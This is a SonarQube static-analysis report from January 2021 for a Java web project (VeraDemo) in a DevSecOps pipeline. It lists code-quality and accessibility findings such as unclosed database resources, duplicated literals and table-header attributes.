SonarQube Vulnerability Report

Report Generated On
Wed Jan 27 2021
Project Name
DevSecOps Project
Application
Release
Delta analysis
No

Summary of the Detected Vulnerabilities

Severity Number of Issues
BLOCKER 16
CRITICAL 25
MAJOR 198
MINOR 80

Detail of the Detected Vulnerabilities

Rule Severity Component Line Description Message Key Status
java:S2095 BLOCKER src/main/java/com/veracode/verademo/controller/BlabController.java 182 Resources should be closed Use try-with-resources or close this "Connection" in a "finally" clause. AXc_pK_sm5cS9Pj0Iqnr OPEN
java:S2095 BLOCKER src/main/java/com/veracode/verademo/commands/IgnoreCommand.java 31 Resources should be closed Use try-with-resources or close this "PreparedStatement" in a "finally" clause. AXc_pLABm5cS9Pj0IqoT OPEN
java:S2095 BLOCKER src/main/java/com/veracode/verademo/controller/UserController.java 246 Resources should be closed Use try-with-resources or close this "Connection" in a "finally" clause. AXc_pK_Wm5cS9Pj0Iqm8 OPEN
java:S2095 BLOCKER src/main/java/com/veracode/verademo/controller/UserController.java 494 Resources should be closed Use try-with-resources or close this "Statement" in a "finally" clause. AXc_pK_Wm5cS9Pj0Iqm9 OPEN
java:S2095 BLOCKER src/main/java/com/veracode/verademo/controller/UserController.java 505 Resources should be closed Use try-with-resources or close this "PreparedStatement" in a "finally" clause. AXc_pK_Wm5cS9Pj0Iqm- OPEN
java:S2095 BLOCKER src/main/java/com/veracode/verademo/controller/UserController.java 312 Resources should be closed Use try-with-resources or close this "Connection" in a "finally" clause. AXc_pK_Wm5cS9Pj0Iqm_ OPEN
java:S2095 BLOCKER src/main/java/com/veracode/verademo/controller/UserController.java 315 Resources should be closed Use try-with-resources or close this "Statement" in a "finally" clause. AXc_pK_Wm5cS9Pj0IqnA OPEN
java:S2095 BLOCKER src/main/java/com/veracode/verademo/controller/UserController.java 250 Resources should be closed Use try-with-resources or close this "Statement" in a "finally" clause. AXc_pK_Wm5cS9Pj0IqnB OPEN
java:S2095 BLOCKER src/main/java/com/veracode/verademo/controller/UserController.java 829 Resources should be closed Use try-with-resources or close this "Connection" in a "finally" clause. AXc_pK_Wm5cS9Pj0Iqm7 OPEN
java:S2095 BLOCKER src/main/java/com/veracode/verademo/controller/BlabController.java 183 Resources should be closed Use try-with-resources or close this "PreparedStatement" in a "finally" clause. AXc_pK_sm5cS9Pj0Iqns OPEN
java:S2095 BLOCKER src/main/java/com/veracode/verademo/controller/BlabController.java 324 Resources should be closed Use try-with-resources or close this "PreparedStatement" in a "finally" clause. AXc_pK_sm5cS9Pj0Iqnt OPEN
java:S2095 BLOCKER src/main/java/com/veracode/verademo/commands/RemoveAccountCommand.java 38 Resources should be closed Use try-with-resources or close this "Statement" in a "finally" clause. AXc_pK_3m5cS9Pj0IqoI OPEN
java:S2095 BLOCKER src/main/java/com/veracode/verademo/commands/RemoveAccountCommand.java 31 Resources should be closed Use try-with-resources or close this "PreparedStatement" in a "finally" clause. AXc_pK_3m5cS9Pj0IqoJ OPEN
java:S2095 BLOCKER src/main/java/com/veracode/verademo/commands/ListenCommand.java 38 Resources should be closed Use try-with-resources or close this "Statement" in a "finally" clause. AXc_pK_8m5cS9Pj0IqoN OPEN
java:S2095 BLOCKER src/main/java/com/veracode/verademo/commands/ListenCommand.java 31 Resources should be closed Use try-with-resources or close this "PreparedStatement" in a "finally" clause. AXc_pK_8m5cS9Pj0IqoO OPEN
java:S2095 BLOCKER src/main/java/com/veracode/verademo/commands/IgnoreCommand.java 38 Resources should be closed Use try-with-resources or close this "Statement" in a "finally" clause. AXc_pLABm5cS9Pj0IqoS OPEN
java:S1192 CRITICAL src/main/java/com/veracode/verademo/controller/UserController.java 79 String literals should not be duplicated Define a constant instead of duplicating this literal "username" 17 times. AXc_pK_Wm5cS9Pj0IqnM OPEN
java:S1192 CRITICAL src/main/java/com/veracode/verademo/controller/UserController.java 296 String literals should not be duplicated Define a constant instead of duplicating this literal "register" 4 times. AXc_pK_Wm5cS9Pj0IqnI OPEN
java:S1192 CRITICAL src/main/java/com/veracode/verademo/controller/UserController.java 457 String literals should not be duplicated Define a constant instead of duplicating this literal "User is not Logged In - redirecting..." 3 times. AXc_pK_Wm5cS9Pj0IqnJ OPEN
java:S1192 CRITICAL src/main/java/com/veracode/verademo/controller/UserController.java 189 String literals should not be duplicated Define a constant instead of duplicating this literal "error" 7 times. AXc_pK_Wm5cS9Pj0IqnK OPEN
java:S1192 CRITICAL src/main/java/com/veracode/verademo/controller/UserController.java 645 String literals should not be duplicated Define a constant instead of duplicating this literal "/resources/images" 4 times. AXc_pK_Wm5cS9Pj0IqnL OPEN
java:S3776 CRITICAL src/main/java/com/veracode/verademo/controller/ResetController.java 77 Cognitive Complexity of methods should not be too high Refactor this method to reduce its Cognitive Complexity from 23 to the 15 allowed. AXc_pK_Nm5cS9Pj0Iqmz OPEN
java:S3776 CRITICAL src/main/java/com/veracode/verademo/controller/UserController.java 544 Cognitive Complexity of methods should not be too high Refactor this method to reduce its Cognitive Complexity from 25 to the 15 allowed. AXc_pK_Wm5cS9Pj0Iqnf OPEN
java:S2093 CRITICAL src/main/java/com/veracode/verademo/controller/UserController.java 698 Try-with-resources should be used Change this "try" to a try-with-resources. (sonar.java.source not set. Assuming 7 or greater.) AXc_pK_Wm5cS9Pj0Iqnk OPEN
java:S2119 CRITICAL src/main/java/com/veracode/verademo/controller/ResetController.java 91 "Random" objects should be reused Save and re-use this "Random". AXc_pK_Nm5cS9Pj0Iqm1 OPEN
java:S2093 CRITICAL src/main/java/com/veracode/verademo/controller/ResetController.java 341 Try-with-resources should be used Change this "try" to a try-with-resources. (sonar.java.source not set. Assuming 7 or greater.) AXc_pK_Nm5cS9Pj0Iqm5 OPEN
css:S4651 CRITICAL src/main/webapp/resources/css/demo.css 144 "linear-gradient" directions should be valid Unexpected nonstandard direction AXc_pLBIm5cS9Pj0Iqo1 OPEN
java:S1192 CRITICAL src/main/java/com/veracode/verademo/controller/BlabController.java 68 String literals should not be duplicated Define a constant instead of duplicating this literal "com.mysql.jdbc.Driver" 7 times. AXc_pK_sm5cS9Pj0Iqnu OPEN
java:S1192 CRITICAL src/main/java/com/veracode/verademo/controller/BlabController.java 213 String literals should not be duplicated Define a constant instead of duplicating this literal "redirect:feed" 6 times. AXc_pK_sm5cS9Pj0Iqnv OPEN
java:S1192 CRITICAL src/main/java/com/veracode/verademo/controller/BlabController.java 67 String literals should not be duplicated Define a constant instead of duplicating this literal "Getting Database connection" 6 times. AXc_pK_sm5cS9Pj0Iqnw OPEN
java:S1192 CRITICAL src/main/java/com/veracode/verademo/controller/BlabController.java 464 String literals should not be duplicated Define a constant instead of duplicating this literal "redirect:login?target=blabbers" 3 times. AXc_pK_sm5cS9Pj0Iqnx OPEN
java:S1192 CRITICAL src/main/java/com/veracode/verademo/controller/BlabController.java 56 String literals should not be duplicated Define a constant instead of duplicating this literal "User is not Logged In - redirecting..." 6 times. AXc_pK_sm5cS9Pj0Iqny OPEN
java:S1192 CRITICAL src/main/java/com/veracode/verademo/controller/BlabController.java 60 String literals should not be duplicated Define a constant instead of duplicating this literal "User is Logged In - continuing..." 6 times. AXc_pK_sm5cS9Pj0Iqnz OPEN
java:S1192 CRITICAL src/main/java/com/veracode/verademo/controller/BlabController.java 53 String literals should not be duplicated Define a constant instead of duplicating this literal "username" 7 times. AXc_pK_sm5cS9Pj0Iqn0 OPEN
java:S1192 CRITICAL src/main/java/com/veracode/verademo/controller/BlabController.java 57 String literals should not be duplicated Define a constant instead of duplicating this literal "redirect:login?target=profile" 3 times. AXc_pK_sm5cS9Pj0Iqn1 OPEN
java:S1192 CRITICAL src/main/java/com/veracode/verademo/controller/UserController.java 82 String literals should not be duplicated Define a constant instead of duplicating this literal "redirect:" 3 times. AXc_pK_Wm5cS9Pj0IqnC OPEN
java:S1192 CRITICAL src/main/java/com/veracode/verademo/controller/UserController.java 156 String literals should not be duplicated Define a constant instead of duplicating this literal "com.mysql.jdbc.Driver" 8 times. AXc_pK_Wm5cS9Pj0IqnD OPEN
java:S1192 CRITICAL src/main/java/com/veracode/verademo/controller/UserController.java 86 String literals should not be duplicated Define a constant instead of duplicating this literal "redirect:feed" 3 times. AXc_pK_Wm5cS9Pj0IqnE OPEN
java:S1192 CRITICAL src/main/java/com/veracode/verademo/controller/UserController.java 155 String literals should not be duplicated Define a constant instead of duplicating this literal "Creating the Database connection" 3 times. AXc_pK_Wm5cS9Pj0IqnF OPEN
java:S1192 CRITICAL src/main/java/com/veracode/verademo/controller/UserController.java 117 String literals should not be duplicated Define a constant instead of duplicating this literal "target" 6 times. AXc_pK_Wm5cS9Pj0IqnG OPEN
java:S1192 CRITICAL src/main/java/com/veracode/verademo/controller/UserController.java 468 String literals should not be duplicated Define a constant instead of duplicating this literal "Getting Database connection" 4 times. AXc_pK_Wm5cS9Pj0IqnH OPEN
javascript:S905 MAJOR src/main/webapp/resources/js/bootstrap.js 183 Non-empty statements should change control flow or have at least one side-effect Expected an assignment or function call and instead saw an expression. AXc_pLBgm5cS9Pj0IqpM OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 82126 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsP8 OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 82125 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsP7 OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 76198 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsP5 OPEN
java:S2259 MAJOR src/main/java/com/veracode/verademo/controller/ResetController.java 176 Null pointers should not be dereferenced A "NullPointerException" could be thrown; "blabsContent" is nullable here. AXc_pK_Nm5cS9Pj0Iqmx OPEN
java:S1149 MAJOR src/main/java/com/veracode/verademo/controller/ResetController.java 339 Synchronized classes Vector, Hashtable, Stack and StringBuffer should not be used Replace the synchronized class "StringBuffer" by an unsynchronized one such as "StringBuilder". AXc_pK_Nm5cS9Pj0Iqmy OPEN
java:S1604 MAJOR src/main/java/com/veracode/verademo/controller/UserController.java 901 Anonymous inner classes containing only one method should become lambdas Make this anonymous inner class a lambda (sonar.java.source not set. Assuming 8 or greater.) AXc_pK_Wm5cS9Pj0IqnN OPEN
java:S4925 MAJOR src/main/java/com/veracode/verademo/controller/UserController.java 156 "Class.forName()" should not load JDBC 4.0+ drivers Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) AXc_pK_Wm5cS9Pj0IqnO OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 76197 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsP4 OPEN
java:S4925 MAJOR src/main/java/com/veracode/verademo/controller/UserController.java 244 "Class.forName()" should not load JDBC 4.0+ drivers Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) AXc_pK_Wm5cS9Pj0IqnR OPEN
java:S3457 MAJOR src/main/java/com/veracode/verademo/controller/UserController.java 259 Printf-style format strings should be used correctly Format specifiers should be used instead of string concatenation. AXc_pK_Wm5cS9Pj0IqnT OPEN
java:S4925 MAJOR src/main/java/com/veracode/verademo/controller/UserController.java 311 "Class.forName()" should not load JDBC 4.0+ drivers Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) AXc_pK_Wm5cS9Pj0IqnW OPEN
java:S4925 MAJOR src/main/java/com/veracode/verademo/controller/UserController.java 367 "Class.forName()" should not load JDBC 4.0+ drivers Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) AXc_pK_Wm5cS9Pj0IqnY OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 74394 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsP2 OPEN
java:S4925 MAJOR src/main/java/com/veracode/verademo/controller/UserController.java 469 "Class.forName()" should not load JDBC 4.0+ drivers Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) AXc_pK_Wm5cS9Pj0Iqna OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 74393 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsP1 OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 74392 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsP0 OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 90989 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsQR OPEN
java:S4925 MAJOR src/main/java/com/veracode/verademo/controller/UserController.java 572 "Class.forName()" should not load JDBC 4.0+ drivers Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) AXc_pK_Wm5cS9Pj0Iqng OPEN
java:S4042 MAJOR src/main/java/com/veracode/verademo/controller/UserController.java 650 "java.nio.Files#delete" should be preferred Use "java.nio.file.Files#delete" here for better messages on error conditions. AXc_pK_Wm5cS9Pj0Iqnh OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 68181 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPy OPEN
java:S1135 INFO src/main/java/com/veracode/verademo/controller/UserController.java 653 Track uses of "TODO" tags Complete the task associated to this TODO comment. AXc_pK_Wm5cS9Pj0Iqnj OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 90988 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsQQ OPEN
java:S4925 MAJOR src/main/java/com/veracode/verademo/controller/UserController.java 768 "Class.forName()" should not load JDBC 4.0+ drivers Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) AXc_pK_Wm5cS9Pj0Iqnl OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 68180 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPx OPEN
java:S4925 MAJOR src/main/java/com/veracode/verademo/controller/UserController.java 828 "Class.forName()" should not load JDBC 4.0+ drivers Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) AXc_pK_Wm5cS9Pj0Iqnn OPEN
Web:S5256 MAJOR sonar.html 67869 Tables should have headers Add "<th>" headers to this "<table>". AXdD-YKMm5cS9Pj0IsPv OPEN
java:S4925 MAJOR src/main/java/com/veracode/verademo/controller/ResetController.java 99 "Class.forName()" should not load JDBC 4.0+ drivers Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) AXc_pK_Nm5cS9Pj0Iqm2 OPEN
java:S4925 MAJOR src/main/java/com/veracode/verademo/controller/ResetController.java 266 "Class.forName()" should not load JDBC 4.0+ drivers Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) AXc_pK_Nm5cS9Pj0Iqm3 OPEN
java:S106 MAJOR src/main/java/com/veracode/verademo/controller/ResetController.java 275 Standard outputs should not be used directly to log anything Replace this use of System.out or System.err by a logger. AXc_pK_Nm5cS9Pj0Iqm4 OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 86439 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsQO OPEN
common-java:DuplicatedBlocks MAJOR src/main/java/com/veracode/verademo/controller/UserController.java Source files should not have any duplicated blocks 3 duplicated blocks of code must be removed. AXc_pK_Wm5cS9Pj0Iqm6 OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 86438 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsQN OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 83961 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsQL OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 83960 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsQK OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 83927 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsQI OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 83926 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsQH OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 83706 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsQF OPEN
java:S2583 MAJOR src/main/java/com/veracode/verademo/controller/BlabController.java 586 Conditionally executed code should be reachable Change this condition so that it does not always evaluate to "false" AXc_pK_sm5cS9Pj0Iqn2 OPEN
java:S1121 MAJOR src/main/java/com/veracode/verademo/controller/BlabController.java 555 Assignments should not be made from within sub-expressions Extract the assignment out of this expression. AXc_pK_sm5cS9Pj0Iqn3 OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 66847 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPt OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 66846 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPs OPEN
java:S4925 MAJOR src/main/java/com/veracode/verademo/controller/BlabController.java 68 "Class.forName()" should not load JDBC 4.0+ drivers Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) AXc_pK_sm5cS9Pj0Iqn6 OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 65310 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPq OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 65309 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPp OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 65290 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPo OPEN
java:S4925 MAJOR src/main/java/com/veracode/verademo/controller/BlabController.java 181 "Class.forName()" should not load JDBC 4.0+ drivers Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) AXc_pK_sm5cS9Pj0Iqn- OPEN
java:S4925 MAJOR src/main/java/com/veracode/verademo/controller/BlabController.java 231 "Class.forName()" should not load JDBC 4.0+ drivers Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) AXc_pK_sm5cS9Pj0Iqn_ OPEN
java:S4925 MAJOR src/main/java/com/veracode/verademo/controller/BlabController.java 306 "Class.forName()" should not load JDBC 4.0+ drivers Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) AXc_pK_sm5cS9Pj0IqoA OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 65289 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPn OPEN
java:S4925 MAJOR src/main/java/com/veracode/verademo/controller/BlabController.java 399 "Class.forName()" should not load JDBC 4.0+ drivers Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) AXc_pK_sm5cS9Pj0IqoC OPEN
java:S4925 MAJOR src/main/java/com/veracode/verademo/controller/BlabController.java 482 "Class.forName()" should not load JDBC 4.0+ drivers Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) AXc_pK_sm5cS9Pj0IqoD OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 65270 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPm OPEN
java:S4925 MAJOR src/main/java/com/veracode/verademo/controller/BlabController.java 567 "Class.forName()" should not load JDBC 4.0+ drivers Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) AXc_pK_sm5cS9Pj0IqoG OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 65269 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPl OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 83705 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsQE OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 82625 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsQC OPEN
java:S1172 MAJOR src/main/java/com/veracode/verademo/commands/RemoveAccountCommand.java 17 Unused method parameters should be removed Remove this unused method parameter "username". AXc_pK_3m5cS9Pj0IqoK OPEN
common-java:DuplicatedBlocks MAJOR src/main/java/com/veracode/verademo/commands/ListenCommand.java Source files should not have any duplicated blocks 1 duplicated blocks of code must be removed. AXc_pK_8m5cS9Pj0IqoM OPEN
java:S1118 MAJOR src/main/java/com/veracode/verademo/utils/UserFactory.java 19 Utility classes should not have public constructors Add a private constructor to hide the implicit public one. AXc_pK-nm5cS9Pj0Iqmk OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 82624 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsQB OPEN
java:S1135 INFO src/main/java/com/veracode/verademo/commands/ListenCommand.java 50 Track uses of "TODO" tags Complete the task associated to this TODO comment. AXc_pK_8m5cS9Pj0IqoQ OPEN
common-java:DuplicatedBlocks MAJOR src/main/java/com/veracode/verademo/commands/IgnoreCommand.java Source files should not have any duplicated blocks 1 duplicated blocks of code must be removed. AXc_pLAAm5cS9Pj0IqoR OPEN
common-java:DuplicatedBlocks MAJOR src/main/java/com/veracode/verademo/utils/User.java Source files should not have any duplicated blocks 1 duplicated blocks of code must be removed. AXc_pK-0m5cS9Pj0Iqmp OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 82176 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsP_ OPEN
java:S1135 INFO src/main/java/com/veracode/verademo/commands/IgnoreCommand.java 50 Track uses of "TODO" tags Complete the task associated to this TODO comment. AXc_pLABm5cS9Pj0IqoV OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 65238 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPk OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 65237 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPj OPEN
Web:S5256 MAJOR src/main/webapp/WEB-INF/views/register.jsp 82 Tables should have headers Add "<th>" headers to this "<table>". AXc_pLAIm5cS9Pj0IqoY OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 65210 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPi OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 65209 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPh OPEN
Web:S5256 MAJOR src/main/webapp/WEB-INF/views/register-finish.jsp 78 Tables should have headers Add "<th>" headers to this "<table>". AXc_pLAMm5cS9Pj0Iqob OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 65150 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPg OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 65149 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPf OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 65102 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPe OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 65101 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPd OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 65078 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPc OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 65077 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPb OPEN
Web:S5256 MAJOR src/main/webapp/WEB-INF/views/profile.jsp 80 Tables should have headers Add "<th>" headers to this "<table>". AXc_pLAYm5cS9Pj0Iqoi OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 65038 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPa OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 65037 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPZ OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 65034 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPY OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 65033 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPX OPEN
Web:S5256 MAJOR src/main/webapp/WEB-INF/views/login.jsp 80 Tables should have headers Add "<th>" headers to this "<table>". AXc_pLAcm5cS9Pj0Iqon OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 62915 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPV OPEN
Web:S5254 MAJOR src/main/webapp/WEB-INF/views/notimplemented.jsp 4 "<html>" element should have a language attribute Add "lang" and/or "xml:lang" attributes to this "<html>" element AXc_pLAjm5cS9Pj0Iqop OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 62914 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPU OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 61900 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPS OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR src/main/webapp/WEB-INF/views/blabbers.jsp 83 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXc_pLAmm5cS9Pj0Iqos OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR src/main/webapp/WEB-INF/views/blabbers.jsp 84 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXc_pLAmm5cS9Pj0Iqot OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR src/main/webapp/WEB-INF/views/blabbers.jsp 85 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXc_pLAmm5cS9Pj0Iqou OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR src/main/webapp/WEB-INF/views/blabbers.jsp 87 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXc_pLAmm5cS9Pj0Iqov OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR src/main/webapp/WEB-INF/views/blabbers.jsp 89 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXc_pLAmm5cS9Pj0Iqow OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 61899 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPR OPEN
Web:TableHeaderHasIdOrScopeCheck MAJOR sonar.html 41762 "<th>" tags should have "id" or "scope" attributes Add either an 'id' or a 'scope' attribute to this <th> tag. AXdD-YKMm5cS9Pj0IsPP OPEN
